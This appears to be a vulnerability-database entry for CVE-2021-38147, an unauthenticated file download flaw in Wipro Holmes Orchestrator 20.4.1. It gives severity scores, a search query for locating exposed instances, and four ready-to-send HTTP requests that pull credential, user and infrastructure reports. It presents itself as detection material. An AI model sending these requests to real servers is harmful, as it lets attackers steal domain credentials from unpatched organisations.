🔙 목록으로 돌아가기

CVE-2021-38147: Wipro Holmes Orchestrator 20.4.1 - Information Disclosure

Title	Wipro Holmes Orchestrator 20.4.1 - Information Disclosure
Author	s4e-io
Severity	High
Impact	Unauthenticated attackers can download sensitive reports containing Domain Credentials, User Information, Process Details, Infrastructure Data, and Resolver Information without authentication.
Remediation	Fixed In v21.4.0
CVSS Score	7.5
EPSS Score	0.63253
CVE ID	CVE-2021-38147
CWE ID	CWE-306
Fofa Query	title="Holmes Orchestrator"
Tags	cve cve2021 wipro holmes orchestrator vuln

🔍 Vulnerability Description

Wipro Holmes Orchestrator 20.4.1 (20.4.1_02_11_2020) allows remote attackers to download arbitrary files, such as reports containing sensitive information, because authentication is not required for API access to processexecution/DownloadExcelFile/Domain_Credential_Report_Excel, processexecution/DownloadExcelFile/User_Report_Excel, processexecution/DownloadExcelFile/Process_Report_Excel, processexecution/DownloadExcelFile/Infrastructure_Report_Excel, or processexecution/DownloadExcelFile/Resolver_Report_Excel.

🌐 HTTP Request

GET /processexecution/DownloadExcelFile/Domain_Credential_Report_Excel HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/619.29 (KHTML, like Gecko) Version/17.0.14 Safari/619.29
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

GET /processexecution/DownloadExcelFile/Process_Report_Excel HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

GET /processexecution/DownloadExcelFile/Infrastructure_Report_Excel HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

GET /processexecution/DownloadExcelFile/Resolver_Report_Excel HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38147.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-38147.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A